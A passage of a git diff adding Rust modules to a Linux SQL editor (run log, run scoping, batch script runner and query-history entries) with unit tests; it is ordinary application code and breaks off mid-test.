fn history_entry(query: String, metadata: &ConnectionMetadata, executed_at: SystemTime, log: &RunLog) -> NewEntry { + let outcome = if let Some(message) = log.first_failure() { + Outcome::Error(message.to_owned()) + } else if log.timed_out() { + Outcome::Error(crate::i18n::gettext( + "The statement ran past the time limit set in Preferences.", + )) + } else if log.was_stopped() { + Outcome::Cancelled + } else { + Outcome::Success + }; + let duration_ms = SystemTime::now() + .duration_since(executed_at) + .ok() + .and_then(|elapsed| i64::try_from(elapsed.as_millis()).ok()); + NewEntry { + query, + driver_id: metadata.driver_id.clone(), + connection_id: metadata.id, + connection_name: metadata.name.clone(), + executed_at, + duration_ms, + rows_affected: log.rows_for_history(), + outcome, + } +} + +#[cfg(test)] +mod tests { + use uuid::Uuid; + + use super::super::run_log::{BatchReport, EntryKind, RunEvent, Verdict}; + use super::*; + + fn metadata() -> ConnectionMetadata { + ConnectionMetadata { + id: Uuid::new_v4(), + name: "Prod".to_owned(), + driver_id: "postgres".to_owned(), + } + } + + fn log_of(entries: Vec, verdict: Verdict) -> RunLog { + let mut log = RunLog::new(vec!["SELECT 2".to_owned()], Vec::new()); + log.apply(RunEvent::Batch(BatchReport { + batch: 0, + entries, + verdict, + transaction: None, + lost: false, + elapsed_ms: 1, + })); + log.apply(RunEvent::Finished); + log + } + + #[test] + fn history_records_executed_selection() { + let log = log_of(vec![EntryKind::Command { rows_affected: Some(3) }], Verdict::Completed); + let metadata = metadata(); + + let entry = history_entry("SELECT 2".to_owned(), &metadata, SystemTime::now(), &log); + + assert_eq!(entry.query, "SELECT 2"); + assert_eq!(entry.connection_id, metadata.id); + assert_eq!(entry.rows_affected, Some(3)); + assert_eq!(entry.outcome, Outcome::Success); + } + + #[test] + fn a_failure_or_a_stop_is_what_history_remembers() { + let failed = log_of( + vec![EntryKind::Failed { + message: "boom".to_owned(), + error_char: None, + }], + Verdict::Failed, + ); + let stopped = log_of(vec![EntryKind::Cancelled], Verdict::Stopped); + + let metadata = metadata(); + assert_eq!( + history_entry(String::new(), &metadata, SystemTime::now(), &failed).outcome, + Outcome::Error("boom".to_owned()) + ); + assert_eq!( + history_entry(String::new(), &metadata, SystemTime::now(), &stopped).outcome, + Outcome::Cancelled + ); + } +} diff --git a/linux/crates/app/src/ui/editor/run_log.rs b/linux/crates/app/src/ui/editor/run_log.rs new file mode 100644 index 0000000000..3baf121063 --- /dev/null +++ b/linux/crates/app/src/ui/editor/run_log.rs @@ -0,0 +1,567 @@ +use tablepro_core::sql_syntax::script::BatchErrorPolicy; +use tablepro_core::{ + DriverError, EditorSessionState, ErrorCategory, QueryResult, ResultEvent, RunEnd, RunSummary, TransactionState, + Truncation, +}; + +/// One line of the results list. +#[derive(Debug, Clone)] +pub enum EntryKind { + ResultSet { + result: QueryResult, + /// What the server says the whole set held, when it says. + total_rows: Option, + }, + /// A statement that returned no rows, with what it changed when the + /// server reports that. + Command { + rows_affected: Option, + }, + Notice { + message: String, + }, + Failed { + message: String, + /// Where in the buffer the server says the error is, in + /// characters, when it says. + error_char: Option, + }, + /// Something the editor noticed before sending, such as a string + /// that never ends. The text is still sent, so the server has the + /// last word. + ClientWarning { + message: String, + }, + Cancelled, + TimedOut { + server_cancelled: bool, + }, + /// Queued behind a failure, so never sent. + NotRun, +} + +impl EntryKind { + pub fn is_failure(&self) -> bool { + matches!(self, Self::Failed { .. } | Self::TimedOut { .. }) + } +} + +#[derive(Debug, Clone)] +pub struct RunLogEntry { + pub kind: EntryKind, + /// The batch it came from, `None` for a warning about the script. + pub batch: Option, + pub preview: String, +} + +/// How one run of a batch ended, for deciding whether the next is sent. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Verdict { + Completed, + Failed, + /// Cancelled, timed out, or the session itself failed: nothing more + /// can run, whatever the engine's batch rules say. + Stopped, +} + +/// Whether the script goes on after a batch ended this way. A failed +/// statement stops it, because the statements after it were written +/// assuming it worked, unless the engine runs batches independently. +pub fn continues(verdict: Verdict, policy: BatchErrorPolicy) -> bool { + match verdict { + Verdict::Completed => true, + Verdict::Failed => policy == BatchErrorPolicy::ContinueNextBatch, + Verdict::Stopped => false, + } +} + +/// One batch's run, as the runner hands it to the results list. +#[derive(Debug, Clone)] +pub struct BatchReport { + pub batch: usize, + pub entries: Vec, + pub verdict: Verdict, + pub transaction: Option, + /// The editor session's connection is gone. + pub lost: bool, + pub elapsed_ms: u128, +} + +#[derive(Debug, Clone)] +pub enum RunEvent { + Batch(BatchReport), + Finished, +} + +/// Turns the events of one run into results list lines, on the runtime, +/// so only finished lines cross to the GTK thread. +#[derive(Debug, Default)] +pub struct BatchCollector { + entries: Vec, + /// Where each result set of this run sits in `entries`. + sets: Vec, +} + +impl BatchCollector { + pub fn record(&mut self, event: ResultEvent) { + match event { + ResultEvent::ResultSetStarted { columns } => { + self.sets.push(self.entries.len()); + self.entries.push(EntryKind::ResultSet { + result: QueryResult::new(columns, Vec::new()), + total_rows: None, + }); + } + ResultEvent::ColumnsResolved { set_index, columns } => { + if let Some(result) = self.set(set_index) { + result.columns = columns; + } + } + ResultEvent::Rows(rows) => match self.last_set() { + Some(result) => result.rows.extend(rows), + // Rows with no columns would draw a grid that cannot say + // what any cell is. + None => tracing::warn!(rows = rows.len(), "rows arrived before their result set"), + }, + ResultEvent::RowLimitReached { .. } => { + if let Some(result) = self.last_set() { + result.truncated = true; + } + } + ResultEvent::ResultSetFinished { + total_rows, truncation, .. + } => { + if let Some(EntryKind::ResultSet { + result, + total_rows: total, + }) = self.sets.last().and_then(|index| self.entries.get_mut(*index)) + { + result.truncated |= truncation == Truncation::ReadPastLimit; + *total = total_rows; + } + } + ResultEvent::CommandCompleted { rows_affected } => { + self.entries.push(EntryKind::Command { rows_affected }); + } + ResultEvent::Notice(notice) => self.entries.push(EntryKind::Notice { + message: format!("{}: {}", notice.severity, notice.message), + }), + } + } + + /// Close the run with how it ended. `error_base` is where the batch + /// starts in the buffer, so a server's error position becomes a + /// buffer position. + pub fn finish( + mut self, + outcome: Result, + state: EditorSessionState, + error_base: usize, + ) -> (Vec, Verdict, Option) { + let (verdict, transaction) = match outcome { + Ok(summary) => { + let verdict = match summary.end { + RunEnd::Completed => { + if self.entries.is_empty() { + // Every statement shows up, even one that + // neither returned rows nor counted any. + self.entries.push(EntryKind::Command { rows_affected: None }); + } + Verdict::Completed + } + RunEnd::Failed(error) => { + self.entries.push(failed(&error, state, error_base)); + Verdict::Failed + } + RunEnd::Cancelled => { + self.entries.push(EntryKind::Cancelled); + Verdict::Stopped + } + RunEnd::TimedOut { server_cancelled } => { + self.entries.push(EntryKind::TimedOut { server_cancelled }); + Verdict::Stopped + } + }; + (verdict, Some(summary.transaction_state)) + } + Err(error) if error.category() == ErrorCategory::Interrupted => { + self.entries.push(EntryKind::Cancelled); + (Verdict::Stopped, None) + } + Err(error) => { + self.entries.push(failed(&error, state, error_base)); + (Verdict::Stopped, None) + } + }; + (self.entries, verdict, transaction) + } + + fn set(&mut self, set_index: usize) -> Option<&mut QueryResult> { + let index = *self.sets.get(set_index)?; + match self.entries.get_mut(index) { + Some(EntryKind::ResultSet { result, .. }) => Some(result), + _ => None, + } + } + + fn last_set(&mut self) -> Option<&mut QueryResult> { + let last = self.sets.len().checked_sub(1)?; + self.set(last) + } +} + +fn failed(error: &DriverError, state: EditorSessionState, error_base: usize) -> EntryKind { + let mut message = crate::ui::error_text::driver_message(error); + if state == EditorSessionState::Lost { + // An editor session is never reopened behind the user's back: + // its open transaction and temporary tables went with it. + message = crate::i18n::gettext_f( + "{error} This tab's connection was lost; the next run opens a new one.", + &[("error", &message)], + ); + } + let error_char = match error { + DriverError::Server(diagnostics) => diagnostics + .position + .and_then(|position| usize::try_from(position).ok()) + .filter(|position| *position > 0) + .map(|position| error_base + position - 1), + _ => None, + }; + EntryKind::Failed { message, error_char } +} + +/// The results list of one run, built as the batches report. +#[derive(Debug, Default)] +pub struct RunLog { + previews: Vec, + entries: Vec, + /// The first batch no report has arrived for yet. + next_batch: usize, + transaction: Option, + lost: bool, + elapsed_ms: u128, +} + +impl RunLog { + pub fn new(previews: Vec, warnings: Vec) -> Self { + let entries = warnings + .into_iter() + .map(|message| RunLogEntry { + kind: EntryKind::ClientWarning { message }, + batch: None, + preview: String::new(), + }) + .collect(); + Self { + previews, + entries, + ..Self::default() + } + } + + /// Take one event; returns how many lines the log had before it, so + /// the caller adds only the new ones. + pub fn apply(&mut self, event: RunEvent) -> usize { + let before = self.entries.len(); + match event { + RunEvent::Batch(report) => { + let preview = self.previews.get(report.batch).cloned().unwrap_or_default(); + self.entries.extend(report.entries.into_iter().map(|kind| RunLogEntry { + kind, + batch: Some(report.batch), + preview: preview.clone(), + })); + self.next_batch = self.next_batch.max(report.batch + 1); + if report.transaction.is_some() { + self.transaction = report.transaction; + } + self.lost |= report.lost; + self.elapsed_ms += report.elapsed_ms; + } + RunEvent::Finished => { + for batch in self.next_batch..self.previews.len() { + self.entries.push(RunLogEntry { + kind: EntryKind::NotRun, + batch: Some(batch), + preview: self.previews[batch].clone(), + }); + } + self.next_batch = self.previews.len(); + } + } + before + } + + pub fn entries(&self) -> &[RunLogEntry] { + &self.entries + } + + pub fn transaction(&self) -> Option { + self.transaction + } + + pub fn lost(&self) -> bool { + self.lost + } + + pub fn elapsed_ms(&self) -> u128 { + self.elapsed_ms + } + + pub fn has_run(&self) -> bool { + self.next_batch > 0 + } + + /// The line to show first: the first failure, else the first line. + pub fn first_to_show(&self) -> Option { + self.entries + .iter() + .position(|entry| entry.kind.is_failure()) + .or_else(|| (!self.entries.is_empty()).then_some(0)) + } + + /// The first failure's sentence, for history. + pub fn first_failure(&self) -> Option<&str> { + self.entries.iter().find_map(|entry| match &entry.kind { + EntryKind::Failed { message, .. } => Some(message.as_str()), + _ => None, + }) + } + + pub fn was_stopped(&self) -> bool { + self.entries + .iter() + .any(|entry| matches!(entry.kind, EntryKind::Cancelled)) + } + + pub fn timed_out(&self) -> bool { + self.entries + .iter() + .any(|entry| matches!(entry.kind, EntryKind::TimedOut { .. })) + } + + /// What the run changed or returned, for the history entry: the + /// rows statements reported changing, else the rows that came back. + pub fn rows_for_history(&self) -> Option { + let mut affected: Option = None; + let mut returned: u64 = 0; + for entry in &self.entries { + match &entry.kind { + EntryKind::Command { + rows_affected: Some(rows), + } => affected = Some(affected.unwrap_or(0).saturating_add(*rows)), + EntryKind::ResultSet { result, .. } => { + returned = returned.saturating_add(result.rows.len() as u64); + } + _ => {} + } + } + let rows = affected.unwrap_or(returned); + (affected.is_some() || returned > 0).then(|| i64::try_from(rows).unwrap_or(i64::MAX)) + } + + /// The line above the results: how many there are and how long the + /// run took, and how many failed. + pub fn summary(&self) -> String { + let shown = self + .entries + .iter() + .filter(|entry| !matches!(entry.kind, EntryKind::NotRun | EntryKind::ClientWarning { .. })) + .count(); + let failures = self.entries.iter().filter(|entry| entry.kind.is_failure()).count(); + let ms = self.elapsed_ms.to_string(); + let results = crate::i18n::ngettext_f( + "{n} result in {ms} ms", + "{n} results in {ms} ms", + u32::try_from(shown).unwrap_or(u32::MAX), + &[("n", &shown.to_string()), ("ms", &ms)], + ); + if failures == 0 { + return results; + } + let failed = crate::i18n::ngettext_f( + "{n} failed", + "{n} failed", + u32::try_from(failures).unwrap_or(u32::MAX), + &[("n", &failures.to_string())], + ); + format!("{results} · {failed}") + } +} + +#[cfg(test)] +mod tests { + use std::sync::Arc; + use std::time::Duration; + + use tablepro_core::column::{ColumnType, ResultColumn}; + use tablepro_core::{ServerCode, ServerDiagnostics, ServerNotice, Value}; + + use super::*; + + fn columns(names: &[&str]) -> Arc<[ResultColumn]> { + names + .iter() + .map(|name| ResultColumn::new(*name, ColumnType::untyped_text("text"))) + .collect() + } + + fn summary(end: RunEnd) -> Result { + Ok(RunSummary { + elapsed: Duration::from_millis(3), + end, + transaction_state: TransactionState::Idle, + }) + } + + fn collect(events: Vec, end: RunEnd) -> (Vec, Verdict) { + let mut collector = BatchCollector::default(); + for event in events { + collector.record(event); + } + let (entries, verdict, _) = collector.finish(summary(end), EditorSessionState::Ready, 0); + (entries, verdict) + } + + fn report(batch: usize, entries: Vec, verdict: Verdict) -> RunEvent { + RunEvent::Batch(BatchReport { + batch, + entries, + verdict, + transaction: Some(TransactionState::Idle), + lost: false, + elapsed_ms: 2, + }) + } + + #[test] + fn run_log_maps_events() { + let (entries, verdict) = collect( + vec![ + ResultEvent::ResultSetStarted { + columns: columns(&["a"]), + }, + ResultEvent::Rows(vec![vec![Value::Int(1)], vec![Value::Int(2)]]), + ResultEvent::RowLimitReached { retained: 2 }, + ResultEvent::ResultSetFinished { + retained: 2, + total_rows: Some(5), + truncation: Truncation::ServerStopped, + }, + ResultEvent::Notice(ServerNotice { + severity: "NOTICE".to_owned(), + message: "vacuumed".to_owned(), + code: None, + }), + ResultEvent::CommandCompleted { rows_affected: Some(4) }, + ], + RunEnd::Completed, + ); + + assert_eq!(verdict, Verdict::Completed); + assert_eq!(entries.len(), 3, "{entries:?}"); + let EntryKind::ResultSet { result, total_rows } = &entries[0] else { + panic!("expected rows: {entries:?}"); + }; + assert_eq!(result.row_count(), 2); + assert!(result.truncated); + assert_eq!(*total_rows, Some(5)); + assert!(matches!(&entries[1], EntryKind::Notice { message } if message.contains("vacuumed"))); + assert!(matches!(entries[2], EntryKind::Command { rows_affected: Some(4) })); + } + + #[test] + fn a_statement_with_nothing_to_say_still_gets_a_line() { + let (entries, _) = collect(Vec::new(), RunEnd::Completed); + + assert!(matches!( + entries.as_slice(), + [EntryKind::Command { rows_affected: None }] + )); + } + + #[test] + fn a_server_error_position_becomes_a_buffer_position() { + let diagnostics = ServerDiagnostics { + position: Some(8), + ..ServerDiagnostics::new(Some(ServerCode::SqlState("42601".to_owned())), "syntax error") + }; + let collector = BatchCollector::default(); + + let (entries, verdict, _) = collector.finish( + summary(RunEnd::Failed(DriverError::reported(diagnostics))), + EditorSessionState::Ready, + 100, + ); + + assert_eq!(verdict, Verdict::Failed); + assert!( + matches!( + entries.as_slice(), + [EntryKind::Failed { + error_char: Some(107), + .. + }] + ), + "{entries:?}" + ); + } + + #[test] + fn run_log_stop_policy_marks_rest_not_run() { + let failed = vec![EntryKind::Failed { + message: "boom".to_owned(), + error_char: None, + }]; + assert!(!continues(Verdict::Failed, BatchErrorPolicy::StopScript)); + let mut log = RunLog::new( + vec![ + "SELECT 1".into(), + "SELECT boom".into(), + "SELECT 3".into(), + "SELECT 4".into(), + ], + Vec::new(), + ); + + log.apply(report( + 0, + vec![EntryKind::Command { rows_affected: None }], + Verdict::Completed, + )); + log.apply(report(1, failed, Verdict::Failed)); + log.apply(RunEvent::Finished); + + let kinds: Vec<&EntryKind> = log.entries().iter().map(|entry| &entry.kind).collect(); + assert!(matches!(kinds[0], EntryKind::Command { .. })); + assert!(matches!(kinds[1], EntryKind::Failed { .. })); + assert!(matches!(kinds[2], EntryKind::NotRun)); + assert!(matches!(kinds[3], EntryKind::NotRun)); + assert_eq!(log.entries()[3].preview, "SELECT 4"); + assert_eq!(log.first_to_show(), Some(1), "the failure is not what shows first"); + } + + #[test] + fn run_log_continue_policy_runs_next_batch() { + assert!(continues(Verdict::Failed, BatchErrorPolicy::ContinueNextBatch)); + assert!(!continues(Verdict::Stopped, BatchErrorPolicy::ContinueNextBatch)); + assert!(continues(Verdict::Completed, BatchErrorPolicy::StopScript)); + } + + #[test] + fn a_warning_comes_first_and_counts_as_no_result() { + let mut log = RunLog::new(vec!["SELECT 1".into()], vec!["Unterminated string".into()]); + + log.apply(report( + 0, + vec![EntryKind::Command { rows_affected: Some(1) }], + Verdict::Completed, + )); + log.apply(RunEvent::Finished); + + assert!(matches!(log.entries()[0].kind, EntryKind::ClientWarning { .. })); + assert!(log.summary().starts_with("1 result"), "{}", log.summary()); + assert_eq!(log.rows_for_history(), Some(1)); + } +} diff --git a/linux/crates/app/src/ui/editor/run_scope.rs b/linux/crates/app/src/ui/editor/run_scope.rs new file mode 100644 index 0000000000..479022c345 --- /dev/null +++ b/linux/crates/app/src/ui/editor/run_scope.rs @@ -0,0 +1,105 @@ +use std::ops::Range; + +use tablepro_core::sql_syntax::script::{ScriptPlan, text_offsets}; + +/// The SQL one run sends, and where it starts in the buffer. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ScopedText { + pub text: String, + /// The buffer offset, in characters, of `text`'s first character, + /// so a server's error position can be found in the buffer. + pub base_char: usize, +} + +/// Run sends the selection when there is one, and the whole buffer +/// when there is not, so a highlighted statement is the only one sent. +pub fn for_run(buffer_text: &str, selection: Option>) -> Option { + let scoped = match selection.filter(|range| range.start < range.end) { + Some(range) => ScopedText { + text: char_slice(buffer_text, range.clone()).to_owned(), + base_char: range.start, + }, + None => ScopedText { + text: buffer_text.to_owned(), + base_char: 0, + }, + }; + (!scoped.text.trim().is_empty()).then_some(scoped) +} + +/// The statement the cursor is in, as the engine's script rules read +/// it, with its character range in the buffer. +pub fn at_cursor(buffer_text: &str, plan: &ScriptPlan, cursor_char: usize) -> Option<(ScopedText, Range)> { + let byte = text_offsets::char_to_byte(buffer_text, cursor_char); + let statement = plan.statement_at(byte)?; + let start = text_offsets::byte_to_char(buffer_text, statement.range.start); + let end = text_offsets::byte_to_char(buffer_text, statement.range.end); + let text = statement.text(buffer_text); + if text.trim().is_empty() { + return None; + } + Some(( + ScopedText { + text: text.to_owned(), + base_char: start, + }, + start..end, + )) +} + +fn char_slice(text: &str, range: Range) -> &str { + let start = text_offsets::char_to_byte(text, range.start); + let end = text_offsets::char_to_byte(text, range.end); + text.get(start..end).unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use tablepro_core::sql_syntax::SqlGrammar; + use tablepro_core::sql_syntax::script::LexicalSettings; + + use super::*; + + #[test] + fn run_scope_prefers_selection() { + let buffer = "SELECT 1;\nSELECT 2;\nSELECT 3;"; + + let selected = for_run(buffer, Some(10..18)).expect("a selection"); + assert_eq!(selected.text, "SELECT 2"); + assert_eq!(selected.base_char, 10); + + let whole = for_run(buffer, Some(4..4)).expect("an empty selection runs everything"); + assert_eq!(whole.text, buffer); + assert_eq!(whole.base_char, 0); + + assert_eq!(for_run(" \n ", None), None); + } + + #[test] + fn a_selection_is_cut_by_characters_not_bytes() { + let buffer = "SELECT 'tên'; SELECT 2"; + + let selected = for_run(buffer, Some(14..22)).expect("a selection"); + + assert_eq!(selected.text, "SELECT 2"); + } + + #[test] + fn run_scope_statement_at_cursor_uses_plan() { + let buffer = "CREATE FUNCTION f() RETURNS int AS $$ SELECT 1; $$ LANGUAGE sql;\nSELECT 2;"; + let plan = ScriptPlan::build( + buffer, + SqlGrammar::PostgreSql, + LexicalSettings::default_for(SqlGrammar::PostgreSql), + ); + + let (inside_body, range) = at_cursor(buffer, &plan, 40).expect("a statement"); + assert!(inside_body.text.starts_with("CREATE FUNCTION"), "{}", inside_body.text); + assert!(inside_body.text.ends_with("LANGUAGE sql"), "{}", inside_body.text); + assert_eq!(range.start, 0); + + let (second, _) = at_cursor(buffer, &plan, buffer.chars().count()).expect("the last statement"); + assert_eq!(second.text, "SELECT 2"); + assert_eq!(second.base_char, buffer.find("SELECT 2").unwrap_or_default()); + } +} diff --git a/linux/crates/app/src/ui/editor/script_runner.rs b/linux/crates/app/src/ui/editor/script_runner.rs new file mode 100644 index 0000000000..d529fb52a4 --- /dev/null +++ b/linux/crates/app/src/ui/editor/script_runner.rs @@ -0,0 +1,491 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::{Arc, Mutex, MutexGuard, PoisonError}; +use std::time::{Duration, Instant}; + +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{ + BatchErrorPolicy, LexicalSettings, ScriptDiagnostic, ScriptPlan, text_offsets, +}; +use tablepro_core::{ + EditorSession, EditorSessionState, ResultEvent, ResultSink, RowLimit, RunOptions, SinkFlow, UserSql, +}; +use tablepro_session::{MonitorSignal, Session}; +use tokio::sync::mpsc; +use tokio_util::sync::CancellationToken; + +use super::editor_session_slot::{AcquireError, EditorSessionSlot, close_quietly}; +use super::run_log::{BatchCollector, BatchReport, EntryKind, RunEvent, Verdict, continues}; +use super::run_scope::ScopedText; + +/// One unit the server is sent: a statement on most engines, a whole +/// `GO` batch on SQL Server. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct RunBatch { + pub text: String, + /// How many times `GO n` asks for it. + pub repeat: u32, + /// Where the batch starts in the buffer, in characters. + pub error_base: usize, + pub preview: String, +} + +/// What one press of Run sends, and how. +#[derive(Debug, Clone)] +pub struct ScriptRun { + pub batches: Vec, + pub policy: BatchErrorPolicy, + pub statement_timeout: Option, + pub row_limit: RowLimit, +} + +/// The batches of the scoped text and what the plan warns about. +/// +/// Each statement goes on its own, as psql, mysql and sqlite3 send it: +/// no multi-statement text reaches the server, so no implicit +/// transaction can roll back statements that already reported success. +pub fn plan_batches( + scoped: &ScopedText, + grammar: SqlGrammar, + base_line: usize, +) -> (Vec, BatchErrorPolicy, Vec) { + let plan = ScriptPlan::build(&scoped.text, grammar, LexicalSettings::default_for(grammar)); + let batches = plan + .batches() + .iter() + .filter_map(|batch| { + let text = scoped.text.get(batch.range.clone())?.trim(); + (!text.is_empty()).then(|| RunBatch { + text: text.to_owned(), + repeat: batch.repeat.get(), + error_base: scoped.base_char + text_offsets::byte_to_char(&scoped.text, batch.range.start), + preview: sql_preview(text), + }) + }) + .collect(); + let warnings = plan + .diagnostics() + .iter() + .map(|diagnostic| match diagnostic { + ScriptDiagnostic::Unterminated { start, .. } => { + let line = base_line + scoped.text.get(..*start).unwrap_or_default().matches('\n').count() + 1; + crate::ui::error_text::script_diagnostic_message(diagnostic, line) + } + }) + .collect(); + (batches, plan.batch_error_policy(), warnings) +} + +/// The first ~60 characters of a statement on one line, to tell the +/// results list's lines apart. +pub fn sql_preview(sql: &str) -> String { + let single_line = sql.split_whitespace().collect::>().join(" "); + if single_line.chars().count() > 60 { + let prefix: String = single_line.chars().take(60).collect(); + format!("{prefix}…") + } else { + single_line + } +} + +/// Send each batch in turn, reporting each one as it ends. +pub async fn run_batches( + editor: &Arc, + run: &ScriptRun, + cancel: &CancellationToken, + events: &mpsc::Sender, +) { + 'batches: for (index, batch) in run.batches.iter().enumerate() { + for _ in 0..batch.repeat.max(1) { + if cancel.is_cancelled() { + break 'batches; + } + let collector = Arc::new(Mutex::new(BatchCollector::default())); + let options = RunOptions::new(cancel.child_token()) + .with_deadline(run.statement_timeout) + .with_row_limit(run.row_limit); + let sink = Box::new(CollectingSink { + collector: collector.clone(), + }); + let started = Instant::now(); + let outcome = editor.run(UserSql::new(batch.text.as_str()), options, sink).await; + let elapsed_ms = started.elapsed().as_millis(); + let collected = std::mem::take(&mut *lock(&collector)); + let state = editor.state(); + let (entries, verdict, transaction) = collected.finish(outcome, state, batch.error_base); + let report = BatchReport { + batch: index, + entries, + verdict, + transaction, + lost: state == EditorSessionState::Lost, + elapsed_ms, + }; + if events.send(RunEvent::Batch(report)).await.is_err() { + // The tab went away; nobody is left to show the rest. + return; + } + if !continues(verdict, run.policy) { + break 'batches; + } + } + } + let _ = events.send(RunEvent::Finished).await; +} + +/// Run a script on the tab's editor session, opening one first when +/// needed. A session that lost its connection is let go, and the +/// window's own connection is checked, since it may have gone too. +pub async fn run_in_tab( + session: Arc, + slot: Arc, + run: ScriptRun, + close_timeout: Duration, + cancel: CancellationToken, + events: mpsc::Sender, +) { + let editor = match slot + .acquire(&session, run.statement_timeout, close_timeout, &cancel) + .await + { + Ok(editor) => editor, + Err(AcquireError::Cancelled) => { + let _ = events.send(RunEvent::Finished).await; + return; + } + Err(AcquireError::Failed(message)) => { + let report = BatchReport { + batch: 0, + entries: vec![EntryKind::Failed { + message, + error_char: None, + }], + verdict: Verdict::Stopped, + transaction: None, + lost: false, + elapsed_ms: 0, + }; + let _ = events.send(RunEvent::Batch(report)).await; + let _ = events.send(RunEvent::Finished).await; + return; + } + }; + run_batches(&editor, &run, &cancel, &events).await; + if editor.state() == EditorSessionState::Lost { + let generation = *session.link_changes().borrow(); + session.signal(MonitorSignal::ProbeRequested { generation }); + if slot.forget(&editor) { + close_quietly(editor, close_timeout).await; + } + } +} + +struct CollectingSink { + collector: Arc>, +} + +impl ResultSink for CollectingSink { + fn accept<'life0, 'async_trait>( + &'life0 mut self, + event: ResultEvent, + ) -> Pin + Send + 'async_trait>> + where + 'life0: 'async_trait, + Self: 'async_trait, + { + lock(&self.collector).record(event); + Box::pin(std::future::ready(SinkFlow::Continue)) + } +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +mod tests { + use tablepro_core::{DriverError, LossPhase, RunEnd, TransactionState}; + use tablepro_test_support::{FakeEditorSession, FakeRun, Replies}; + + use super::super::run_log::RunLog; + use super::*; + + fn scoped(text: &str) -> ScopedText { + ScopedText { + text: text.to_owned(), + base_char: 0, + } + } + + fn script(text: &str, grammar: SqlGrammar) -> (ScriptRun, Vec, Vec) { + let (batches, policy, warnings) = plan_batches(&scoped(text), grammar, 0); + let previews = batches.iter().map(|batch| batch.preview.clone()).collect(); + ( + ScriptRun { + batches, + policy, + statement_timeout: None, + row_limit: RowLimit::EDITOR_DEFAULT, + }, + previews, + warnings, + ) + } + + fn answering() -> Replies { + let mut runs = Replies::default(); + runs.always(FakeRun::completed(Vec::new())); + runs + } + + /// Run the script and fold every event into a results list. + async fn run_with(editor: &Arc, text: &str, grammar: SqlGrammar) -> RunLog { + run_cancellable(editor, text, grammar, &CancellationToken::new()).await + } + + async fn run_cancellable( + editor: &Arc, + text: &str, + grammar: SqlGrammar, + cancel: &CancellationToken, + ) -> RunLog { + let (run, previews, warnings) = script(text, grammar); + let (events, mut received) = mpsc::channel(8); + let session: Arc = editor.clone(); + let collect = async move { + let mut log = RunLog::new(previews, warnings); + while let Some(event) = received.recv().await { + let finished = matches!(event, RunEvent::Finished); + log.apply(event); + if finished { + break; + } + } + log + }; + let (_, log) = tokio::join!(run_batches(&session, &run, cancel, &events), collect); + log + } + + fn texts(editor: &FakeEditorSession) -> Vec { + editor.texts().iter().map(|sql| sql.as_str().to_owned()).collect() + } + + #[tokio::test] + async fn pg_script_sends_one_statement_per_run() { + let editor = Arc::new(FakeEditorSession::new(answering())); + + let log = run_with(&editor, "SELECT 1;\nSELECT 2;\n\nSELECT 3", SqlGrammar::PostgreSql).await; + + assert_eq!(texts(&editor), ["SELECT 1", "SELECT 2", "SELECT 3"]); + assert_eq!(log.entries().len(), 3); + } + + #[tokio::test] + async fn vacuum_then_select_sends_two_runs() { + let editor = Arc::new(FakeEditorSession::new(answering())); + + run_with(&editor, "VACUUM;\nSELECT 1", SqlGrammar::PostgreSql).await; + + assert_eq!(texts(&editor), ["VACUUM", "SELECT 1"]); + } + + #[tokio::test] + async fn failing_third_statement_keeps_first_two_and_marks_rest_not_run() { + let mut runs = Replies::default(); + runs.when_sql_contains( + "boom", + FakeRun::failed(DriverError::server("relation \"boom\" does not exist")), + ); + runs.always(FakeRun::completed(Vec::new())); + let editor = Arc::new(FakeEditorSession::new(runs)); + + let log = run_with( + &editor, + "SELECT 1; SELECT 2; SELECT * FROM boom; SELECT 4; SELECT 5", + SqlGrammar::PostgreSql, + ) + .await; + + assert_eq!(texts(&editor).len(), 3, "statements after the failure were sent"); + let kinds: Vec<&EntryKind> = log.entries().iter().map(|entry| &entry.kind).collect(); + assert!(matches!(kinds[0], EntryKind::Command { .. })); + assert!(matches!(kinds[1], EntryKind::Command { .. })); + assert!(matches!(kinds[2], EntryKind::Failed { message, .. } if message.contains("boom"))); + assert!(matches!(kinds[3], EntryKind::NotRun)); + assert!(matches!(kinds[4], EntryKind::NotRun)); + } + + #[tokio::test] + async fn mssql_go_script_sends_two_batches_second_twice() { + let editor = Arc::new(FakeEditorSession::new(answering())); + + run_with( + &editor, + "SELECT 1\nGO\nINSERT INTO t VALUES (1)\nSELECT 2\nGO 2\n", + SqlGrammar::MsSql, + ) + .await; + + let sent = texts(&editor); + assert_eq!(sent.len(), 3, "{sent:?}"); + assert_eq!(sent[0], "SELECT 1"); + assert!( + sent[1].starts_with("INSERT") && sent[1].ends_with("SELECT 2"), + "{sent:?}" + ); + assert_eq!(sent[1], sent[2]); + } + + #[tokio::test] + async fn a_failed_go_batch_does_not_stop_the_next_one() { + let mut runs = Replies::default(); + runs.when_sql_contains( + "boom", + FakeRun::failed(DriverError::server("Invalid object name 'boom'.")), + ); + runs.always(FakeRun::completed(Vec::new())); + let editor = Arc::new(FakeEditorSession::new(runs)); + + let log = run_with(&editor, "SELECT * FROM boom\nGO\nSELECT 2\nGO\n", SqlGrammar::MsSql).await; + + assert_eq!(texts(&editor).len(), 2, "SQL Server batches run on their own"); + assert!(matches!(log.entries()[1].kind, EntryKind::Command { .. })); + } + + #[tokio::test] + async fn editor_session_busy_shows_failed_entry() { + let mut runs = Replies::default(); + runs.always(FakeRun::session_error(DriverError::EditorSessionBusy)); + let editor = Arc::new(FakeEditorSession::new(runs)); + + let log = run_with(&editor, "SELECT 1; SELECT 2", SqlGrammar::PostgreSql).await; + + let EntryKind::Failed { message, .. } = &log.entries()[0].kind else { + panic!("expected a failure: {:?}", log.entries()); + }; + assert!(message.contains("still running"), "{message}"); + assert_eq!(texts(&editor).len(), 1, "the busy batch was retried"); + assert!(matches!(log.entries()[1].kind, EntryKind::NotRun)); + } + + #[tokio::test] + async fn unterminated_diagnostic_warns_and_still_sends() { + let editor = Arc::new(FakeEditorSession::new(answering())); + + let log = run_with(&editor, "SELECT 1;\nSELECT $$never closed", SqlGrammar::PostgreSql).await; + + let EntryKind::ClientWarning { message } = &log.entries()[0].kind else { + panic!("expected a warning first: {:?}", 